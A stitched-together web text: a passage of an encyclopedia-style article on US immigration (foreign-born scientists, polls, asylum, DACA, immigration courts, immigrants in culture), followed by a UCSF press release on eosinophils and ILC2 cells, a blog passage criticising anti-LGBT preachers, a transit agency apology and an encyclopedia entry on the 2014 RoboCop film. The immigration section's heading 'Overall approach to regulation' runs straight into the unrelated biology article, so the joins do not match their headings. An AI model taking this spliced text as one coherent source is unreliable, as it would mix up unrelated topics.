share of foreign students has decreased in recent years.[286]
55% of Ph.D. students in engineering in the United States are foreign born (2004).[287] Between 1980 and 2000, the percentage of Ph.D. scientists and engineers employed in the United States who were born abroad has increased from 24% to 37%.[287] 45% of Ph.D. physicists working in the United States are foreign born in 2004.[287] 80% of total post-doctoral chemical and materials engineering in the United States are foreign-born (1988).[288]
At the undergraduate level, US-born engineering students constitute upwards of 90-95% of the student population (most foreign born candidates for engineering graduate schools are trained in their home countries). However, the pool of BS engineering graduates with US citizenship is much larger than the number who apply to engineering graduate schools.[288] The proportion of foreign-born engineers among assistant professors younger than 35 years has increased from 10% in 1972 to 50%-55% in 1983-1985, illustrating a dramatic increase on US dependence on foreign-born students in the US college system. The increase in non-citizen assistant professors of engineering is the result of the fact that, in recent years, foreign-born engineers received close to 50 percent of newly awarded engineering doctorates (naturalized citizens accounted for about 4 percent) and, furthermore, they entered academe in disproportionately large numbers.[288] 33% of all U.S. Ph.D.s in science and engineering are now awarded to foreign born graduate students as of 2004.[287]
In 1982, foreign-born engineers constituted about 3.6% of all engineers employed in the United States, 13.9% of which were naturalized; and foreign-born Phds in Engineering constituted 15% and 20% were naturalized.[288] In 1985, foreign-born Phds represented almost 33% of the engineering post-doctorate researchers in US universities. Foreign-born Phd engineers often accept postdoctoral position because other employment is unavailable until green card is obtained.[288] A system that further incentivising replacement of US-citizens in the upper echelons of academic and private sector engineering firms due to higher educational attainment relative to native-born engineer who for the most part do train beyond undergraduate level.[289]
In recent[when?] years, the number of applicants for faculty openings at research universities have increased dramatically. Numbers of 50 to 200 applications for a single faculty opening have become typical, yet even with such high numbers of applicants, the foreign-born component is in excess of 50%.[288] 60% of the top science students and 65 percent of the top math students in the United States are the children of immigrants. In addition, foreign-born high school students make up 50 percent of the 2004 U.S.Math Olympiad's top scorers, 38 percent of the U.S. Physics Team, and 25 percent of the Intel Science Talent Search finalists—the United States' most prestigious awards for young scientists and mathematicians.[290]
Among 1985 foreign-born engineering doctorate holders, about 40% expected to work in the United States after graduating. An additional 17 percent planned to stay on as post-doctorates, and most of these are likely to remain permanently in the United States. Thus, almost 60% of foreign-born engineering doctorate holders are likely to become part of the US engineering labor force within a few years after graduating. The other approximately 40% of foreign born engineering PhDs mostly likely find employment working for multinational corporations outside of the US.[288]
In the 2004 Intel Science Talent Search, more children (18) have parents who entered the country on H-1B (professional) visas than parents born in the United States (16). To place this finding in perspective, note that new H-1B visa holders each year represent less than 0.04 percent of the U.S. population.[290] Foreign born faculty now account for over 50% of faculty in engineering (1994).[288]
27 out the 87 (more than 30%) American Nobel Prize winners in Medicine and Physiology between 1901 and 2005 were born outside the US.[291]
1993 median salaries of U.S. recipients of Ph.D.s in Science and Engineering foreign-born vs. native-born were as follows:[292]
Years Since Earning Degree Foreign-Born Native-Born 1–5 years $44,400 $40,000 6–10 years $55,400 $49,200 11–15 years $64,000 $56,000 16–20 years $64,000 $56,000 21 years $70,200 $68,000
Lobbying
Major American corporations spent $345 million lobbying for just three pro-immigration bills between 2006 and 2008.[293]
The two most prominent groups lobbying for more restrictive immigration policies for the United States are NumbersUSA and the Federation for American Immigration Reform (FAIR); additionally, the Center for Immigration Studies think tank produces policy analysis supportive of a more restrictive stance.
Public opinion
The ambivalent feeling of Americans toward immigrants is shown by a positive attitude toward groups that have been visible for a century or more, and much more negative attitude toward recent arrivals. For example, a 1982 national poll by the Roper Center at the University of Connecticut showed respondents a card listing a number of groups and asked, "Thinking both of what they have contributed to this country and have gotten from this country, for each one tell me whether you think, on balance, they've been a good or a bad thing for this country," which produced the results shown in the table. "By high margins, Americans are telling pollsters it was a very good thing that Poles, Italians, and Jews immigrated to America. Once again, it's the newcomers who are viewed with suspicion. This time, it's the Mexicans, the Filipinos, and the people from the Caribbean who make Americans nervous."[294][295]
In a 2002 study, which took place soon after the September 11 attacks, 55% of Americans favored decreasing legal immigration, 27% favored keeping it at the same level, and 15% favored increasing it.[296]
In 2006, the immigration-reduction advocacy think tank the Center for Immigration Studies released a poll that found that 68% of Americans think U.S. immigration levels are too high, and just 2% said they are too low. They also found that 70% said they are less likely to vote for candidates that favor increasing legal immigration.[297] In 2004, 55% of Americans believed legal immigration should remain at the current level or increased and 41% said it should be decreased.[298] The less contact a native-born American has with immigrants, the more likely one would have a negative view of immigrants.[298]
One of the most important factors regarding public opinion about immigration is the level of unemployment; anti-immigrant sentiment is where unemployment is highest, and vice versa.[299]
Surveys indicate that the U.S. public consistently makes a sharp distinction between legal and illegal immigrants, and generally views those perceived as "playing by the rules" with more sympathy than immigrants that have entered the country illegally.[300]
According to a Gallup poll in July 2015, immigration is the fourth most important problem facing the United States and seven percent of Americans said it was the most important problem facing America today.[301] In March 2015, another Gallup poll provided insight into American public opinion on immigration; the poll revealed that 39% of people worried about immigration "a great deal."[302] A January poll showed that only 33% of Americans were satisfied with the current state of immigration in America.[303] As an issue that is very important to Americans, polling reveals change in sentiment over time and diverse opinions regarding how to handle immigration.
Before 2012, majority of Americans supported securing United States borders compared to dealing with illegal immigrants in the United States. In 2013, that trend has reversed and 55% of people polled by Gallup revealed that they would choose "developing a plan to deal with immigrants who are currently in the U.S. illegally." Changes regarding border control are consistent across party lines, with Republicans saying that "securing U.S. borders to halt flow of illegal immigrants" is extremely important decreasing from 68% in 2011 to 56% in 2014. Meanwhile, Democrats who chose extremely important shifted from 42% in 2011 to 31% in 2014.[304] In July 2013, 87% of Americans said they would vote in support of a law that would "allow immigrants already in the country to become U.S. citizens if they meet certain requirements including paying taxes, having a criminal background check and learning English." However, in the same survey, 83% also said they would support the tightening of U.S. border security.[305]
Donald Trump's campaign for Presidency focused on a rhetoric of reducing illegal immigration and toughening border security. In July 2015, 48% of Americans thought that Donald Trump would do a poor job of handling immigration problems. In November 2016, 55% of Trump's voters thought that he would do the right thing in regards to illegal immigration. In general, Trump supporters are not united upon how to handle immigration. In December 2016, Trump voters were polled and 60% said that "undocumented immigrants in the U.S. who meet certain requirements should be allowed to stay legally."[306]
American opinion regarding how immigrants affect the country and how the government should respond to illegal immigration have changed over time. In 2006, out of all U.S. adults surveyed, 28% declared that they believed the growing number of immigrants helped American workers and 55% believed that it hurt American workers. In 2016, those views had changed, with 42% believing that they helped and 45% believing that they hurt.[307] The PRRI 2015 American Values Atlas showed that between 46% and 53% of Americans believed that "the growing number of newcomers from other countries ... strengthens American society." In the same year, 57% and 66% of Americans chose that the U.S. should "allow [immigrants living in the U.S. illegally] a way to become citizens provided they meet certain requirements."[308]
In February 2017, the American Enterprise Institute released a report on recent surveys about immigration issues. In July 2016, 63% of Americans favored the temporary bans of immigrants from areas with high levels of terrorism and 53% said the U.S. should allow fewer refugees to enter the country. In November 2016, 55% of Americans were opposed to building a border wall with Mexico. Since 1994, Pew Research center has tracked a change from 63% of Americans saying that immigrants are a burden on the country to 27%.[309]
Religious responses
Religious figures in the United States have put forth their views on the topic of immigration as informed by their religious traditions.
Catholicism – In 2018, Catholic leaders stated that asylum-limiting laws proposed by the Trump administration were immoral. Some bishops considered imposing sanctions (known as "canonical penalties") on church members who have participated in enforcing such policies. [310]
– In 2018, Catholic leaders stated that asylum-limiting laws proposed by the Trump administration were immoral. Some bishops considered imposing sanctions (known as "canonical penalties") on church members who have participated in enforcing such policies. Judaism – American Jewish rabbis from various denominations have stated that their understanding of Judaism is that immigrants and refugees should be welcomed, and even assisted. The exception would be if there is significant economic hardship or security issues faced by the host country or community, in which case immigration may be limited, discouraged or even prohibited altogether.[311] Some liberal denominations place greater emphasis on the welcoming of immigrants while Conservative, Orthodox and Independent rabbis also weigh economic and security concerns.[312] Some provide moral arguments for both the right of country to enforce immigration standards as well as for providing some sort of amnesty for illegal migrants.[313]
Legal issues
Laws concerning immigration and naturalization
A U.S. green card , a document confirming permanent resident status for eligible immigrants, including refugees, political asylum seekers, family-sponsored migrants, employment-based workers and diversity immigrants (DV).
Laws concerning immigration and naturalization include:
AEDPA and IIRARA exemplify many categories of criminal activity for which immigrants, including green card holders, can be deported and have imposed mandatory detention for certain types of cases.
Asylum for refugees
In contrast to economic migrants, who generally do not gain legal admission, refugees, as defined by international law, can gain legal status through a process of seeking and receiving asylum, either by being designated a refugee while abroad, or by physically entering the United States and requesting asylum status thereafter. A specified number of legally defined refugees, who either apply for asylum overseas or after arriving in the U.S., are admitted annually.[quantify] Refugees compose about one-tenth of the total annual immigration to the United States, though some large refugee populations are very prominent.[citation needed] In the year 2014, the number of asylum seekers accepted into the U.S. was about 120,000. This compared with about 31,000 in the UK and 13,500 in Canada.[315] Japan accepted just 41 refugees for resettlement in 2007.[316]
Since 1975, more than 1.3 million refugees from Asia have been resettled in the United States.[317] Since 2000 the main refugee-sending regions have been Somalia, Liberia, Sudan, and Ethiopia.[318] The ceiling for refugee resettlement for fiscal year 2008 was 80,000 refugees. The United States expected to admit a minimum of 17,000 Iraqi refugees during fiscal year 2009.[319] The U.S. has resettled more than 42,000 Bhutanese refugees from Nepal since 2008.[320]
In fiscal year 2008, the Office of Refugee Resettlement (ORR) appropriated over $655 million for long-term services provided to refugees after their arrival in the US.[321] The Obama administration has kept to about the same level.[322]
A common problem in the current system for asylum seekers is the lack of resources. Asylum offices in the United States receive more applications for asylum than they can process every month and every year. These continuous applications pile onto the backlog.[323]
Miscellaneous documented immigration
In removal proceedings in front of an immigration judge, cancellation of removal is a form of relief that is available for certain long-time residents of the United States.[324] It allows a person being faced with the threat of removal to obtain permanent residence if that person has been physically present in the U.S. for at least ten years, has had good moral character during that period, has not been convicted of certain crimes, and can show that removal would result in exceptional and extremely unusual hardship to his or her U.S. citizen or permanent resident spouse, children, or parent. This form of relief is only available when a person is served with a Notice to Appear to appear in the proceedings in the court.[325][326]
Members of Congress may submit private bills granting residency to specific named individuals. A special committee[which?] vets the requests, which require extensive documentation. The Central Intelligence Agency has the statutory authority to admit up to one hundred people a year outside of normal immigration procedures, and to provide for their settlement and support. The program is called "PL110", named after the legislation that created the agency, Public Law 110, the Central Intelligence Agency Act.
Illegal immigration
The illegal immigrant population of the United States is estimated to be between 11 and 12 million.[327] The population of unauthorized immigrants peaked in 2007 and has declined since that time.[327] The majority of the U.S. unauthorized immigrants are from Mexico, but "their numbers (and share of the total) have been declining" and as of 2016 Mexicans no longer make up a clear majority of unauthorized immigrants, as they did in the past.[328] Unauthorized immigrants made up about 5% of the total U.S. civilian labor force in 2014.[328] By the 2010s, an increasing share of U.S. unauthorized immigrants were long-term residents; in 2015, 66% of adult unauthorized residents had lived in the country for at least ten years, while only 14% had lived in the U.S. for less than five years.[328]
In June 2012, President Obama issued a memorandum instructing officers of the federal government to defer deporting young undocumented immigrants who were brought to the U.S. as children as part of the Deferred Action for Childhood Arrivals (DACA) program. Under the program, eligible recipients who applied and were granted DACA status were granted a two-year deferral from deportation and temporary eligibility to work legally in the country.[329] Among other criteria, in order to be eligible a youth applicant must (1) be between age 15 and 31; (2) have come to the United States before the age of 16; (3) have lived in the U.S. continuously for at least five years; (4) be a current student, or have earned a high school diploma or equivalent, or have received an honorable discharge from the U.S. armed services; and (5) must not "have not been convicted of a felony, significant misdemeanor, or three or more misdemeanors, and do not otherwise pose a threat to public safety or national security."[330] The Migration Policy Institution estimated that as of 2016, about 1.3 million unauthorized young adults ages 15 and older were "immediately eligible for DACA"; of this eligible population, 63% had applied as of March 2016.[329]
Children of legal migrants won't qualify as Dreamers under DACA protection because they entered the country legally.[331] This is highlighted as the biggest contradiction in US immigration policy by many advocates of legal immigrants.
In 2014, President Obama announced a set of executive actions, the Deferred Action for Parents of Americans and Lawful Permanent Residents. Under this program, "unauthorized immigrants who are parents of U.S. citizens or lawful permanent residents (LPRs) would qualify for deferred action for three years if they meet certain other requirements."[332] A February 2016 Migration Policy Institute/Urban Institute report found that about 3.6 million people were potentially eligible for DAPA and "more than 10 million people live in households with at least one potentially DAPA-eligible adult, including some 4.3 million children under age 18 - an estimated 85 percent of whom are U.S. citizens."[332] The report also found that "the potentially DAPA eligible are well settled with strong U.S. roots, with 69 percent having lived in the United States ten years or more, and 25 percent at least 20 years."[332]
Although not without precedent under prior presidents,[333] President Obama's authority to create DAPA and expand DACA were challenged in the federal courts by Texas and 25 other states.[332] In November 2015, the U.S. Court of Appeals for the Fifth Circuit, in a 2-1 decision in United States v. Texas, upheld a preliminary injunction blocking the programs from going forward.[334][335] The case was heard by the U.S. Supreme Court, which in June 2016 deadlocked 4-4, thus affirming the ruling of the Fifth Circuit but setting no nationally binding precedent.[336][337]
Military immigration
On November 15, 2013, the United States Citizenship and Immigration Services announced that they would be issuing a new policy memorandum called "parole in place.[338]" Parole in place would offer green cards to immigrant parents, spouses and children of active military duty personnel. Prior to this law relatives of military personnel – excluding husbands and wives – were forced to leave the United States and apply for green cards in their home countries. The law allows for family members to avoid the possible ten-year bar from the United States and remain in the United States while applying for lawful permanent residence.[339] The parole status, given in one year terms, will be subject to the family member being "absent a criminal conviction or other serious adverse factors."[339]
Military children born in foreign countries are considered American from birth assuming both parents were American citizens at the time of birth. Children born to American citizens will have to process Conciliary Reports of Birth Abroad. This report of birth abroad is the equivalent of a birth certificate and the child will use the report in place of a Birth Certificate for documentation. However, children born in foreign countries to United States servicemembers before they have gained citizenship could only gain citizenship through the naturalization process.
Treatment as civil proceedings
Most immigration proceedings are civil matters, including deportation proceedings, asylum cases, employment without authorization, and visa overstay. People who evade border enforcement (such as by crossing outside any official border checkpoint), who commit fraud to gain entry, or who commit identity theft to gain employment, may face criminal charges. People entering illegally were seldom charged with this crime until Operation Streamline in 2005. Conviction of this crime generally leads to a prison term, after which the person is deported if they are not eligible to remain in the country.
The guarantees under the Sixth Amendment to the United States Constitution, such as the right to counsel, and the right to a jury trial, have not been held to apply to civil immigration proceedings. As a result, people generally represent themselves in asylum and deportation cases unless they can afford an immigration lawyer or receive assistance from a legal charity. In contrast, the Due Process Clause of the Fifth Amendment has been applied to immigration proceedings.[340] Because the right to confrontation in the Sixth Amendment does not apply, people can be ordered deported in absentia - without being present at the immigration proceeding.[341]
Removal proceedings are considered administrative proceedings under the authority of the United States Attorney General, acting through the Executive Office for Immigration Review, part of the Justice Department. Immigration judges are employees of the Justice Department, and thus part of the executive branch rather than the judicial branch of government. Appeals are heard within the EOIR by the Board of Immigration Appeals, and the Attorney General may intervene in individual cases, within the bounds of due process.[341]
After various actions by Attorney General Jeff Sessions pressuring judges to speed up deportations, the National Association of Immigration Judges and The Boston Globe editorial board called for moving immigration courts to the judicial branch, to prevent abuse by strengthening separation of powers.[342][343]
Detention policy
Whether people who are awaiting a decision on their deportation are detained or released to live in the United States in the meantime (possibly paying bail) is a matter of both law and discretion of the Justice Department. The policy has varied over time and differs for those with crimes (including entry outside an official checkpoint) versus civil infractions.
The 2001 Supreme Court case Zadvydas v. Davis held that immigrants who cannot be deported because no country will accept them cannot be detained indefinitely.
Immigration in popular culture
[344] A cartoon in Puck from 1888 attacked businessmen for welcoming large numbers of low paid immigrants, leaving the American men unemployed.
The history of immigration to the United States is the history of the country itself, and the journey from beyond the sea is an element found in American folklore, appearing over and over again in everything from The Godfather to Gangs of New York to "The Song of Myself" to Neil Diamond's "America" to the animated feature An American Tail.[345]
From the 1880s to the 1910s, vaudeville dominated the popular image of immigrants, with very popular caricature portrayals of ethnic groups. The specific features of these caricatures became widely accepted as accurate portrayals.[346]
In The Melting Pot (1908), playwright Israel Zangwill (1864–1926) explored issues that dominated Progressive Era debates about immigration policies. Zangwill's theme of the positive benefits of the American melting pot resonated widely in popular culture and literary and academic circles in the 20th century; his cultural symbolism – in which he situated immigration issues – likewise informed American cultural imagining of immigrants for decades, as exemplified by Hollywood films.[347][348] The popular culture's image of ethnic celebrities often includes stereotypes about immigrant groups. For example, Frank Sinatra's public image as a superstar contained important elements of the American Dream while simultaneously incorporating stereotypes about Italian Americans that were based in nativist and Progressive responses to immigration.[349]
The process of assimilation has been a common theme of popular culture. For example, "lace-curtain Irish" refers to middle-class Irish Americans desiring assimilation into mainstream society in counterpoint to the older, more raffish "shanty Irish". The occasional malapropisms and left-footed social blunders of these upward mobiles were gleefully lampooned in vaudeville, popular song, and the comic strips of the day such as Bringing Up Father, starring Maggie and Jiggs, which ran in daily newspapers for 87 years (1913 to 2000).[350][351] In The Departed (2006), Staff Sergeant Dignam regularly points out the dichotomy between the lace curtain Irish lifestyle Billy Costigan enjoyed with his mother, and the shanty Irish lifestyle of Costigan's father. In recent years the popular culture has paid special attention to Mexican immigration[352] and the film Spanglish (2004) tells of a friendship of a Mexican housemaid (Paz Vega) and her boss played by Adam Sandler.
Immigration in literature
Novelists and writers have captured much of the color and challenge in their immigrant lives through their writings.[353]
Regarding Irish women in the 19th century, there were numerous novels and short stories by Harvey O'Higgins, Peter McCorry, Bernard O'Reilly and Sarah Orne Jewett that emphasize emancipation from Old World controls, new opportunities and expansiveness of the immigrant experience.[354]
On the other hand, Hladnik studies three popular novels of the late 19th century that warned Slovenes not to immigrate to the dangerous new world of the United States.[355]
Jewish American writer Anzia Yezierska wrote her novel Bread Givers (1925) to explore such themes as Russian-Jewish immigration in the early 20th century, the tension between Old and New World Yiddish culture, and women's experience of immigration. A well established author Yezierska focused on the Jewish struggle to escape the ghetto and enter middle- and upper-class America. In the novel, the heroine, Sara Smolinsky, escape from New York City's "down-town ghetto" by breaking tradition. She quits her job at the family store and soon becomes engaged to a rich real-estate magnate. She graduates college and takes a high-prestige job teaching public school. Finally Sara restores her broken links to family and religion.[356]
The Swedish author Vilhelm Moberg in the mid-20th century wrote a series of four novels describing one Swedish family's migration from Småland to Minnesota in the late 19th century, a destiny shared by almost one million people. The author emphasizes the authenticity of the experiences as depicted (although he did change names).[357] These novels have been translated into English (The Emigrants, 1951, Unto a Good Land, 1954, The Settlers, 1961, The Last Letter Home, 1961). The musical Kristina från Duvemåla by ex-ABBA members Björn Ulvaeus and Benny Andersson is based on this story.[358][359]
The Immigrant is a musical by Steven Alper, Sarah Knapp, and Mark Harelik. The show is based on the story of Harelik's grandparents, Matleh and Haskell Harelik, who traveled to Galveston, Texas in 1909.[360]
Documentary films
Film about historical immigration to America from ca. 1970
In their documentary How Democracy Works Now: Twelve Stories, filmmakers Shari Robertson and Michael Camerini examine the American political system through the lens of immigration reform from 2001 to 2007. Since the debut of the first five films, the series has become an important resource for advocates, policy-makers and educators.[361]
That film series premiered nearly a decade after the filmmakers' landmark documentary film Well-Founded Fear which provided a behind-the-scenes look at the process for seeking asylum in the United States. That film still marks the only time that a film-crew was privy to the private proceedings at the U.S. Immigration and Naturalization Service (INS), where individual asylum officers ponder the often life-or-death fate of immigrants seeking asylum.
Overall approach to regulation
A white blood cell of the immune system that is thought to fight parasitic worms might actually help the invaders, according to Richard Locksley, MD, professor of medicine at UCSF and the senior author of the new study, published online today (September 15, 2013) in Nature.
Locksley's lab team found in mice that a type of rare immune cell serves as a link between nerve-signaling during meals and the regular expansion of a specific white blood cell population, called eosinophils, that ebbs and flows in the gut.
The natural function of eosinophils in the gut and elsewhere in the body is an open question, Locksley said, despite the longstanding belief in medicine that the cells play an important role in fighting parasitic diseases.
"Maybe we don't really know what eosinophils are doing in infection and in allergic reactions, because we don't even know yet what they do normally," Locksley said.
In their study Locksley and colleagues found that the rare immune cell, called ILC2, receives a hormonal signal from specialized nerve cells that help synchronize the body's daily biorhythms like a biological clock. In turn, ILC2 cells secrete molecular signals to stimulate the meal-associated production of eosinophils in the bone marrow and their recruitment to the gut. Locksley and others first reported the discovery of ILC2 cells three years ago. In mice they can be detected in the brain, heart, lung, kidney, skin, intestine and uterus.
Locksley speculates that that ILC2-stimulated eosinophils might naturally function in metabolism somehow, rather than serving to fight infection. The body's largest population of eosinophils is found in the gut. In earlier studies in mice grown in sterile conditions -- with no microbes or pathogens whatsoever -- eosinophil populations were normal in the gut, consistent with their having a role in a basic biologic process apart from infection, Locksley said.
The hormonal signal sent by nerve cells and received by ILC2 cells, called VIP, for vasoactive intestinal peptide, already has been found to control aspects of nutrition, Locksley said. In the pancreas, VIP helps trigger secretion of insulin and of enzymes that help to break down food. It also influences relaxation of bowel muscles to help efficiently move bacteria and food through the intestines. Finally, it influences how the liver handles glucose from digested food.
Locksley said his own research and studies by others have led him to question the role of eosinophils in parasitic disease. Eosinophils have been thought to play an important role in holding worms in check during chronic infection. However, recent studies have demonstrated that mice without eosinophils are not especially susceptible to parasitic worm infection, and in one study, absence of eosinophils even prevented worms from surviving, Locksley said.
"Evolution works in funny ways," he said. "Parasitic worms might have evolved a trick signal to recruit eosinophils, because the cells might create a metabolically favorable tissue site that allows the worms to survive and reproduce."
Discovering more about the pathways linking VIP, ILC2 cells and eosinophils may lead to new strategies for fighting chronic parasitic infection and allergies, Locksley said.
"Certain parasites may tap into signals within these pathways to establish a local niche within the body that allows them to parasitize you for many years," Locksley said. "An allergen may be tapping into the same pathways, for reasons we don't yet know."
In the Nature study, Locksley's team found that when ILC2 cells secrete a molecule called interleukin-13 in the lungs, they can recruit eosinophils to the lungs, where normally there are few.
Many cases of asthma and allergic reactions, particularly in children, are associated with greatly elevated levels of eosinophils, Locksley said. But drugs that target interleukin-5, another molecule secreted by ILC2 cells that stimulates eosinophil growth, have been only modestly successfully in relieving symptoms in asthma sufferers.
It may be possible to discover novel ways to interrupt allergic reactions and parasitic infection by first focusing on learning more about fundamental signals that guide eosinophil migration and growth during normal biologic processes, such as those triggered by meals, Locksley said.
"Since ILC2 cells are required for the normal growth and trafficking of eosinophils into tissues, further study of these cells -- which also are present in humans -- could provide productive avenues for exploration in broad areas of importance to human disease, including not only allergy and parasitic infection, but even metabolic syndromes like obesity and type 2 diabetes," Locksley said.
The research was funded by the National Institutes of Health, the Sandler Asthma Basic Research Center at UCSF, and the Howard Hughes Medical Institute (HHMI). Locksley is an HHMI investigator and the Marion and Herbert Sandler Distinguished Professor in Asthma Research at UCSF. The first author of the study, who performed a majority of the experiments, is Jesse Nussbaum, MD, a postdoctoral fellow.
UCSF is a leading university dedicated to promoting health worldwide through advanced biomedical research, graduate-level education in the life sciences and health professions, and excellence in patient care. It includes top-ranked graduate schools of dentistry, medicine, nursing and pharmacy, a graduate division with nationally renowned programs in basic biomedical, translational and population sciences, as well as a preeminent biomedical research enterprise and two top-ranked hospitals, UCSF Medical Center and UCSF Benioff Children's Hospital.
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Dr. Michael Brown is merely a guy who thinks you can “cure” your LGBT orientation and believes the gay “agenda” includes putting Christians in jail.
One of them is the lesser of two evils.
And it’s a weird feeling to listen to Brown interview Jimenez because it really feels like Brown is the sensible one in the mix, even though I’m fully aware he’s also a bigot. He doesn’t deserve a cookie just because he draws the line at murder.
Brown spends most of the interview trying to get Jimenez to understand that wishing for the deaths of gay people is not what Christianity is about… even though Brown’s career has been dedicated to making sure LGBT lives aren’t worth living. Brown doesn’t want gay people shot dead by way of a firing squad. He’s not a monster. He just wants to make them feel horrible about who they are, ignoring the fact that many LGBT people have been driven to suicide because of homophobic thinking like that.
Like I said, lesser of two evils.
It’s almost funny to hear Brown condemn Jimenez’s rhetoric because one’s a natural progression from the other. It’s like Republicans lamenting the candidacy of Donald Trump despite sowing the seeds for his contemptible rise over the past several years.
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The transit agency's general manager John Manconi said the driver forced the Longfields-Davidson Heights Secondary School students to leave the bus after several pranks where the bus bell was pulled but no one exited the bus.
Manconi said this was not proper procedure, and that the driver should have contacted the control centre and awaited the assistance of a supervisor or a special constable.
Manconi said OC Transpo management has met with the driver and said "appropriate actions have been taken."
"OC Transpo would like to apologize to the 30 students and their parents. I have contacted Ms. Patsy Agard, Principal of Longfields-Davidson Heights Secondary School, to discuss the incident and convey our apology," said Manconi.
Screen Gems first announced a remake in 2005, but it was halted one year later. Darren Aronofsky and David Self were originally assigned to direct and write the film, respectively, for a tentative 2010 release. The film was delayed numerous times, and Padilha signed on in 2011. In March 2012, Metro-Goldwyn-Mayer (successor company to Orion Pictures until September 11, 2014, the studio that released the original film) announced an August 2013 release, but that was then changed to February 2014. The principal characters were cast from March to July 2012. Principal photography began in September 2012 in Toronto[7] and Vancouver in Canada,[8] with additional locations in Hamilton, in Canada, and Detroit in the United States.
The film was released in the United States on February 12, 2014. RoboCop received mixed reviews, with praise for the performances, action, updates, style and political/media satire, but criticism for its lack of violence, social satire and humor compared to the original film, and grossed $242 million against its $100 million budget.
Plot [ edit ]
In 2028, multinational conglomerate OmniCorp revolutionizes warfare with the introduction of robotic peacekeepers capable of maintaining law and order in hot spots such as Vietnam, Iraq, Afghanistan, and Iran. Led by CEO Raymond Sellars, the company moves to market its technology to domestic law enforcement, but the passage of the Dreyfus Act, forbidding deployment of drones in the United States, prevents this. Aware that most Americans oppose the use of military systems in their communities, Sellars asks Dr. Dennett Norton and his research team to create an alternative. The result is a proposal for a cyborg police officer. However, Norton informs Sellars that only someone who is stable enough to handle being a cyborg can be turned into one, and some candidates are rejected.
A Detroit police detective, Alex Murphy, is chosen after he is critically injured in a car bomb explosion arranged by crime boss Antoine Vallon in revenge for Murphy's investigation into his activities. Norton persuades Murphy's wife Clara to sign off on the procedure. Upon waking up and realizing the extent of his transformation, Murphy flies into a rage and escapes from the lab, but Norton shuts him down and brings him back to the lab. As Norton reveals to Murphy that the only remnants of his human body are most of his head (excluding parts of the brain), his respiratory organs, his heart, and his right hand, Murphy is disgusted, and asks for euthanasia. Norton reminds Murphy about his wife's and son's patience, and convinces him to live on. During combat training with trainer Rick Mattox, Murphy proves unable to compete with the standard OmniCorp drones in efficiency. Norton alters his programming to make him more efficient by having drone programming take over his actions, but make him think they are his. This increases his efficiency dramatically, but also makes him less empathetic due to his human nature being bypassed.
Shortly before he is to be publicly unveiled, Murphy has an emotional breakdown, forcing Norton to remove his emotions. During the ceremony, RoboCop identifies and apprehends a criminal in the crowd. He goes on to reduce crime in Detroit dramatically, simultaneously increasing public support for repealing the Dreyfus Act. Aware that Clara has begun to ask questions, Sellars orders Norton to keep her away from her husband.
Clara nevertheless manages to confront RoboCop, telling him of their son David's nightmares. The experience leads Murphy to override his programming and access the previously sealed files on his attempted murder. From them, he learns his son had PTSD after witnessing the explosion. Murphy pursues Vallon's gang to exact revenge. He takes heavy damage from their armor-piercing weapons, but manages to kill Vallon and his men. Murphy returns to the station and joins with his old partner, Jack Lewis, to confront the two corrupt cops who betrayed him to Vallon, shooting one and tazing the other. Learning that the Chief of Police was also involved, Murphy moves to arrest her, but is remotely shut down by Mattox.
With the help of Pat Novak, a pro-OmniCorp talk show host, Sellars uses the incident to get the Dreyfus Act repealed. Clara goes to the press and angrily demands to see her husband. Fearful of being exposed, Sellars orders Mattox to destroy RoboCop while he's being repaired, while he lies to Clara, saying that Alex died. Norton is able to reach him first and reveals the truth. RoboCop narrowly escapes from the building just as it undergoes lockdown.
Murphy returns and storms the building, fighting his way through the ED-209 drones sent to stop him, while Lewis and his fellow police arrive to hold off the rest of OmniCorp's forces. Mattox subdues Murphy and prepares to finish him off, but is killed by Lewis. Murphy then makes his way to the roof where Sellars is waiting for a helicopter with Clara and David as hostages. Murphy's programming initially prevents him from arresting Sellars, but he overcomes it long enough to kill Sellars when Sellars overconfidently continues to taunt him.
OmniCorp's parent company, OCP, shuts down the project. The President vetoes the repeal of the Dreyfus Act based on the testimony of Norton, to Novak's anger. Murphy's body is rebuilt in Norton's laboratory, and he waits for Clara and David, who are coming to visit him.
Cast [ edit ]
Production [ edit ]
Development [ edit ]
"I wanted to make a film that is passed into the near future. Now the Aronofsky's script was going 3000 years in the future when humanity would have lost the notion of morality and the only place wherein could recover this concept was in the RoboCop program. It has nothing to do with what I wanted, so I did not even read the script." —Padilha, on Darren Aronofsky's script.[10]
Screen Gems first announced that it was working on a new RoboCop film in late 2005; no further details were given. In November 2006, Bloody Disgusting reported that the RoboCop remake had been halted.[11] In March 2008, RoboCop was mentioned in an MGM press release[12] regarding franchises it would be developing in the future. An MGM poster displayed at the Licensing International Expo of June 2008 read, "RoboCop coming 2010."[13] The studio met with Darren Aronofsky to discuss the possibility of him directing the film.[14] At the San Diego Comic-Con International 2008, Aronofsky was confirmed to direct the "2010 RoboCop" film, with David Self writing the script.[15] The release date was postponed to 2011.[16] At the San Diego Comic-Con in July 2009, MGM representatives stated only that the film would be pushed back to Summer 2010 or a later date, due to scheduling conflicts with the director (most likely Aronofsky). MGM representatives would neither confirm nor deny if Aronofsky was still connected with the project.[17] On January 5, 2010, it was reported that the RoboCop 2011 remake was indeed on hold and Darren Aronofsky was still attached to direct. When MGM executives, particularly MGM chairperson Mary Parent, saw the immense success of the James Cameron film Avatar, it was clear that they wanted a 3D film for the new RoboCop. Due to the financial state of MGM at the time, without an owner,[clarification needed] and creative disagreements between the studio and Aronofsky, the film remained on hold.[18] On March 2, 2011, it was announced that Brazilian director José Padilha was attached to direct, instead of Aronofsky, mainly because of his commercial success with Elite Squad and Elite Squad: The Enemy Within.[19] On March 11, 2011, Sean O'Neal of The A.V. Club stated that up-and-coming screenwriter Joshua Zetumer would write the script. Although Zetumer had been involved with a number of canceled or otherwise stagnant projects, he had also worked on the screenplay for Quantum of Solace.[20] Comparing the new work to the 1987 film, Padilha said in 2011, "the environment nowadays is different than the environment in the 80's and the way to explore the concept is different."[21] It was announced in October 2013 that the film would get an IMAX release in February 2014.[22] Columbia Pictures and Metro-Goldwyn-Mayer distributed the film in United States, Canada, and worldwide with the exclusion of United Kingdom, France, Germany, Switzerland and Austria, where StudioCanal handled distribution.[2][6][23][24]
